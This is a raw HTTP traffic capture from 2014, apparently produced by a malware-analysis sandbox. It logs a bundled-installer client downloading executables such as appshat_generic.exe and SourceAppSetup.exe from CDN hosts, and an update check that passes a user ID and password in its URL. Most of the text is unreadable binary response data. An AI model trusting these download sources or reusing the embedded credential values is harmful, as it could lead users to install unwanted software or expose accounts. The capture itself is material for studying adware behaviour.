Age: 49628

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Rw9fPLbHPJ5cNeU_bDrHn012YeDZVWU2UXUOMI8cPZplrs1xbiPd5A==
1."x..s..../o. fq..A..d<lZh.._...7.4..._.9..W.XX=.v.I.O............
.%.....5.....q\....L......6...8.....Y..5.:.6A...[./[._...{>.4...$..
;.3J...7_........?<2.N...{...}>......=..Ye...H..'...........\.N.
...2|...;.9.j....S..M..;..N.7;.H.1...w.......=6.........=C...5.~.~..\.
........=.}....7.._c...4x{e.<..R..V..]....*<1.......|.]].8......
.....7..u.....k...w.k;qLt..9"..^A..Q.&.W#......G../...8o.6.8..d.pH.. r
([email protected]. /... ....U.9.....!S........9:.9.[.v."x.BTT...4.).D....B..
.....C(.t&..../.b...#J.&|a%.cjg.T.....-Ea ,".....9......4..juDE./..3.3
8&...f..P..1...Q..E....gsL(..l.V...3LN.!..E..0..z.rf..b}kAy...-ghs....
]..%,..c.. ..V......3.: ........vv,.k<.)..E..FcQ)[email protected]
...b(......[s.ov .S....&.#a.7..Y:...._Ra.......D.......E...c.....~[...
!..K....4.D..^;.....]T|.)Fce...1w..k. .t..Uo ..w........3w..a.7.5....s
..H.......rL.&.]......z..l...6....f........u.mV...f!Y.....U}L2Ym:.~a..
.v.....(..y}...^j.....U.......h-P...:.kv.57c...X..l......e.....g..NS..
..`...P_.;o.. ...s..H.Q.....(.k.K.m.m.t.....t.....V@.\.k\.z..|.^b.....
,...b8.".(~..V^M].O.)....X..**.....Vs.M.3.vu...l][email protected]....~.....!.
...U....!.0.._...tT.....8..3...vvu.jfl..j.....z..G....J..u..R.....l(..
`.a..>.. ... g.1...gt.*..*.....s....\....:.:.*m.fu..'..... .q.^3...
[email protected]..&E8-...8.'.... ]u..p..5o1w5........z2(h-0..p6..{s.[h..
.c}....~. Ii.oJ.......Q.......x..|!.;..c.DwhcQ`l..H.u..6.M.T.wl..t,..X
.][email protected].#...n.y.h6..2Rm4k.?uF#u%N..Y.."G......
8...D19...Q.fy..U.....sq........._P.....A..8.}j...x;...4..%..8.G1 
<<< skipped >>>


GET /ajax/libs/jquery/1.7.2/jquery.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Thu, 29 Mar 2012 18:19:50 GMT

Date: Mon, 15 Dec 2014 20:37:49 GMT

Expires: Tue, 15 Dec 2015 20:37:49 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 33673

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 158996

Alternate-Protocol: 80:quic,p=0.02
...............F.?..<E..).b..(.........v..i.......E.,^"Y*.E......m|
#2...,.g...n.q$....;..v.f.y.o>.}...W....=.z.jq.77.Mq9/.|....^..?.[.
.r..c.....,.....&..m.g.^...\f.{z8....\e..O.<..?..^.O....oe~....u...
;."...U.w.....t6.....xs.Di/Ye.T.M|....]......:_foW~..<.z.v.{Y.]..O^
0.z.|......*DO..j.{.=_{.Cz....-U.n.x..=.../. '.x.{.Jo{|..j....n..l7..4
/.....T.{.rZ.3........C.jU..<..p.......'.V....e.J........?.m....fG.
..{......P.....t..?.B.X....k..s.c.K..-.".pS.n..P.6...:.Y.T5.4\.W;...U.
.44....;..,e.=...^..S?]c.i.C..O.h......_.....GK5.M..8....4.4.E..Q.<
...m.{[.....O.....=.lI..8....n....2.?.{/.....?&....}_...v5.....w..}..G
..w4.....l.V.......i.mw..&4Yi.@[&..........i.>.S%..aA0..fQ.hK..pP..
....<_......(.]..\-.R..z0Ym."....rPt........o.g..zM..!.P...p...Mi.l
w.rYx..|4..V.......0F..|4....<....1..-..S/....|Nx...;........".w.3.
{..Q>Z.i....x.Ut...:Jx. .3..f..G@Z.:.y..g4\j.v..B..]>...c...[.. 
z......\...:\.%.p...AB{[email protected].{?..d.[..dC....h...!X.V.w.[Q..
...:.h9\.i...........1.Ae.yr.W.........M.]..k...y...c.y.J.P..O..G....i
AJZ.{[email protected].}0.........^......&..5.....`.F.Y....<.......
....@[email protected]..`......V....78M.X yM.b.x(u....Q..f.l...f....E....
3.#..l.l...`1Y.t.N...M...o..ZR!.D.<..}.JFJ.bF..A.z.....z3.a....x.D.
..S9.D....N.n..j1...)f...$..?.z.Q>.....Q.3.'.n..P....x..|..v.....&l
t;...F..~..M.eh)..Q6..x..]..O.......G(@..N.H.... .Ip../.pjz....h.....t
UD..V.h2..........].Y4.N5........7j.}...3. [email protected]..}n4Pz..5.....h&
gt;...$...X0....U..S...u;...BV.A._ F.P.........T.F.6..I..b.%*..:..
<<< skipped >>>


GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSfAP5wz6TZE9AhTecbrorIUEieTwQU3Igt2WxNPQBQM/EVuXj7weahJK8CExkAAAlE5E3bN0hKjHcAAQAACUQ= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:46:01 GMT

Content-Type: application/ocsp-response

Content-Length: 1501

Connection: keep-alive

Set-Cookie: __cfduid=d91f1dc1ac4c512a3480363fc2c0d21711418834761; expires=Thu, 17-Dec-15 16:46:01 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Mon, 15 Dec 2014 04:49:53 GMT

Expires: Sun, 21 Dec 2014 16:46:00 GMT

ETag: "07a1d5211ac6ede7ebc825a1e086edba668a1596"

Cache-Control: public, max-age=345599

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 19a4982dd25605d5-WAW
0..........0..... .....0......0...0.......j.....N ...#c........2014121
5044953Z0..0..0L0... ...........p.....!M.....PH.O....-.lM=.P3...x....$
.......D.M.7HJ.w.....D....20141215044953Z....20141219044953Z."0 0... .
....0......20131215044953Z0...*.H...............v..u..,..H=vH`}^G.k...
......Z.....V..........=...3M...j0.........1.Z .u....%Q.gi..S./P.1.}QG
....1 .......~...%.W.....k^.,..4?...qK...$.N.....b.Me...E.Dp.U.....3..
....}.^N5...O..%.M...;...Q#...?=............".{.s~.... .;...L..X.c.?..
v)...<...Y....T..4V._T....0...0...0................y#....y......0..
.*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redmond1.0
...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U....Microso
ft IT SSL SHA10...141023182318Z..150106182318Z0!1.0...U....Should be i
gnore by CA0.."0...*.H.............0.........1._G....#.L;!>Q.z.m?e8
.-1\...Scf....0.....E(/F.(..nN...U....3"&M./[email protected];...j.k..\.
d'...s2D...W6.g.9...xk................Q.GZK.1.\-.E.......l.h.]%i4....v
.....J.-. O. ?.*...A3...h.#..."..c....PhV.>..;...Y...._.".t....|c..
....3.l.YUZ."p.r..C.U-[y..........0..0...U.......j.....N ...#c......0.
..U.#..0.....-.lM=.P3...x....$.0...U...........0...U.%..0... .......0.
.. .....7....0.0... .......0... .....0......0...*.H...............a.F7
Z.A..,.N.^.W..;....m<........l....\..........ar....B......V....nX/Q
@..EZ/..L...1.'..SF..Qd.........e<.[....z..`..^wB?.p0,.2....R.`.>
;..E?6Ppw....5.6.Q..?.?....."9..,[email protected] :`...
B......E....1*8.~J.U.D...zs..sw.,..V.G.d.#z...n.n..
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=ecf02c05-2477-44b0-82b0-38a8feb8f4b0&Password=5823NWIH&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834631&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=ks4qyg45wfjyj2555qxfdwjm




HTTP/1.1 200 OK

Connection: close

Date: Wed, 17 Dec 2014 16:43:51 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=249864-

User-Agent: Better Installer(Mozilla)

Host: d3ddmpeszwup8l.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 35694

Connection: keep-alive

Date: Sun, 14 Dec 2014 04:56:58 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 249864-285557/285558

Age: 1399

X-Cache: Hit from cloudfront

Via: 1.1 a9b59a59c9cd05c79f53659a2b4406bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 80Vx7w2w1vR5lP1QAmXIS604VUMp-f04EULBGmz3E6KfadzMY-yLhg==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.
<<< skipped >>>


GET /finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:55 GMT

Content-Length: 403
<head><title>Document Moved</title></head>.<
;body><h1>Object Moved</h1>This document may be found &
lt;a HREF="hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9
.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&am
p;VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=
Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&Bu
ndleID=NONE">here</a></body>....


GET /finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

Set-Cookie: ASP.NET_SessionId=hsbibmbkxhqe4i0vxoz5dfg4; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:55 GMT

Content-Length: 2027
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"~..7N...O.<y...<M...L_~..
..I.......wr...7O....o.x...w.7u.l....Yy........m.zt........../..yu..`.
.e.u.......GG.9.L.-.e.Y.........?.....q[.eN....y.|.^W......e.feY,/...Z
.YO..x:.............y...l..........X}.N.e./..>....y.pWWY;....:...b.
WMzU..j.....y^..l9../.k....M.|....~.__U..>......g...~6.?.nG..Q..y..
.\' .v.....g..H..o.W..]..k.....t..M.~.n.....7NRz..(..u^~..4[V.b.....:?
[email protected].) ...M{]....6.O.....l.#.O...y.Q.....52.d....2.
.n.../Z......`|oL...45.^...2..>:z|W~......2..S..b............].'..B
g....hj.....VUC......>.=~.............0[.........E{=-w.....w.......
a6...x...>....{.g........{..w...2.?{...S.g....~B.......j..v........
..[,g.U..?0..5.M.|....v.. ......7..>{p..}.^....)w.QZ..........b."..
"...,'.......O..~....7.n..eV.......O.....xs...7_......_..z.dV. ..<.
?.-...W_^...N....>....E/.........../>..z|W0.../?v;.>?}q......
zhz.(....'.O...}. ..N..!uxUg pT^.P?..e>~Lr..t.~/....7K&5.._m{.m..E5
^A.d%)..".N_T...U.9...<.....QB.....o.I...........{<.=....C=..<
;.....w....V46.3.....gO.Lj..(&.%[email protected].&.O...om....u.[..t..r.
vN..jU..]..M....GG..S.)...)(..L.^>..v].....g.5..^.d.X8_.U......ju].
..6..S.............e.r...y....L..p ..r.Vuq.M.....[..*..5P..%.M..[j.L..
......#~..4.............I.)..R.*..I.............\'.#..Y;....2.9F..bF..
%.]./......~......>?.....n...ev.......L.zz.G...o......<=~s...[w.
...N....$M.../f.g.......{x.{..i.-/.@...#.w...8.Y...67.V%.......q.M
<<< skipped >>>

GET /styles/yta.css?v=1 HTTP/1.1

Accept: text/css

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=hsbibmbkxhqe4i0vxoz5dfg4




HTTP/1.1 200 OK

Content-Type: text/css

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:10 GMT

Accept-Ranges: bytes

ETag: "05f91678984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:55 GMT

Content-Length: 1754
...........Z.n.6../.w...].[.d....j.v..mWC1P.m..D....B.l.{....'..('....
j..E....s.............d{\nAX}....s\.....|...&.[.....&; .~....Y..h.....
...\.....1. ... . !-P.. ..p.....\Ws.d...h.V.8..V...v...v.hS....*0/b(..
v#...8.........>.9$x/....#..B`.p. *...l8.......9..6.....,QD.c....3:
.Fa}...".....$1..9D.3.e"kv.^..m8.7M.a..b. ..1h..r...].P.N......{.]....
}...!.V...SQ..5%.G.a.<.)..[.`..m...=Iyif.r3X.{W......{..].......q.q
.<........gP' ..P...4.. .v..4'Q.M.B.~.M8.X....!.S#.w.....a/..sD...C
..`....O....a.P/.. 7%Y]..SD.....c.8..&......-VK....|..c.vfA2X.e..a.l%G
%.uL..b.q,.G[b......r..:)%y...F$w..C.r|'........N....;.../.Z.....0.G..
..93.....b....Pd....3`.qY5<...............G....Q...vo......{A;..q..
...z.Z..qo.1...*.....GV._C...vq...g..lu[g.9.9n...i^..s..{..b.....!...o
8...z..c.AE.M.S...h...n<.\.....:O..F..a^.`N.EP...Ul..o.e4.....8...0
..K.^#...{=Yqsy.h........gw...x_....).............NL...... ..2..!.6...
~-z..5hGv...Gj...,N..0....{ N.......k.iD .......i\..5.:39...b.H..k.`..
"............y....v..M.%..G.x%.X(....|0=.....{...M.., .q.* &"-.......6
.v.....G......5..o...}.hE..h..l-v....U...v.^VP...?.hy..9:U...E..q.k.\.
..V.<K....>G......'..U.S....j.p%.......]..7.`..I`6).....k.W.....
.).\.r. ...._..#fm...p8-}.}..].C5.b*W.r..!.V.....p.(..!.D]..}.aJ......
..".qy'...aT..Z......".3j....D...wdj....R/.....B}.....q..2....J2...m..
..f.k.0.....6....W.........m.8.-Q!6..M..........%...8>....4...Y.L&.
`WC.?..y.E7.N.....Yt...,P.U..uJ:N|..Nz.J...O..... ?%....C.8%.........h
..U.'.n&Oe..h....x....%....~...):........7..c..[]x....H.u.O.._..g#
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

Range: bytes=437556-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 18 Dec 2014 16:43:27 GMT

Date: Wed, 17 Dec 2014 16:43:27 GMT

Content-Range: bytes 437556-583407/583408

Content-Length: 145852

Connection: keep-alive
!.<........l..'....H.=..(/..|6...4......T..i.D.....QK..vU......w.o=
..u"./.t.S0f..SO.....s.....E:y..I...OXz.E..r....L....5..`....#.*Y.'-.U
....>....*ks..d...#.@..%p....oG..._...<.....M..#...............{
......q7...,.bOd.........s..8..<..C...e.........q..^1...dR#M..3.=..
...j;R... ...)....%.-..B..6.X.......5U./.P....R}.'..l..C.,N...$.......
Gj.v~ .v;...uD.G.2.-L....R.[4..P .!Eg..J......j(.q...gEu.?J.T.=.(.2..G
C.!...O.....T...1...5'.^.).O.....:.."...tZ.s..........~e@..........%..
..F...."nyw%l.4...O.o{....Pe..d...Y...m.E.......Y..!...g..K...znz....5
....l.-s.......6ONw......,.23.`..zP$cM..n",^./L%p./....W.hol..p)..(.'.
.B4.F.."...'.Bp....OB.V......\......_..o.`.. ........*ZGA..2K........Y
.s5P.aGD.._,.. ....G...a/[.k..j.L.........*i".Q5;..&..D..f.gh\......c.
...>...|..c.K..h....4 .U.....7~....l......BQ<......d_.&...!.....
.nEC..S..^.Sp...m........ _'_......3.><[email protected]......
.^.~....v.u.#4..3J...rrh...w......S.....J<.l...fDu........p.3.""(1.
M.:. ..t\2.{p.=.*/c...juSR.q.]....d...r.{.....XfX..s..O.........$..e.@
.s.Y.;.h....=.Xx..Z..$.5....3v..v..!..~W.c.G....)yL.^.....w.2...`....;
\....H.}z{.....O ..B..!4:.%.b;.A..T$6..{.D..kq(.M.c'3O..M.n.....s.8.z.
..o...N.p...h....oj....A..Y.\......<....{.....E..........S.....QR.~
.D.ye&:.`...........W.."].........?g...nb...S fk.p7...Zr-Y..#H1._&..c.
....#3.vS.......=...$.E......A ..Q.......I[...oCSV....Y. -..O....J....
...mOT...]i....A../..ZqJ.u.).F..mF$@#..w87...S`..OV..........n.VrD...d
7.....4..n(Z).zD....<..P...6..[.....7.P..|./..h.......[|.8..*.0
<<< skipped >>>


GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d8cw79dqwvsmr.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Wed, 17 Dec 2014 11:18:46 GMT

Last-Modified: Wed, 17 Dec 2014 11:15:15 GMT

ETag: "549165c3-6721"

Expires: Wed, 17 Dec 2014 11:28:46 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 422

X-Cache: Hit from cloudfront

Via: 1.1 bc2d7532de11efd4786ac6213c01ebe9.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GONnyfVvgnhdxZtX9vC0ibowJ2-faFK4AciuLA1PHfWYRNI365xANA==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

Range: bytes=145852-291704

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 18 Dec 2014 16:43:26 GMT

Date: Wed, 17 Dec 2014 16:43:26 GMT

Content-Range: bytes 145852-291704/583408

Content-Length: 145853

Connection: keep-alive
..l..I..lV.r.X?.z#[4..N.Z..<..Yd...........X.Q~p...;....}rw.d?AtH..
...$...5..Y..IO.w...r....=.]..)L.G...[..Q._D...=..v..).5.jN._.9..l.5.$
.....FXM...-.qF>..>....UgG6..h1...eQ....92....~!?.w.e.Lc.~U..U..
.`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d
.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*..
.8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9.......
.VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...
V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\
......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:..
.Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W.
..j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^..7..
 }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-.
.0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C..
........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.
X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a........
..".y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i
 ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`.
.R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M....
.W}[email protected].... zi=-
...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W...
.ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.
>...4.{...
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=35695-

User-Agent: Better Installer(Mozilla)

Host: d3ddmpeszwup8l.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 249863

Connection: keep-alive

Date: Sun, 14 Dec 2014 04:56:58 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 35695-285557/285558

Age: 1399

X-Cache: Hit from cloudfront

Via: 1.1 1470442994f5c934501af506cad58c44.cloudfront.net (CloudFront)

X-Amz-Cf-Id: suN8u_kyiogT8XVeCmvS0QbWpFbbAXlBwODcH3EpbPxzfwmdFASyBA==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
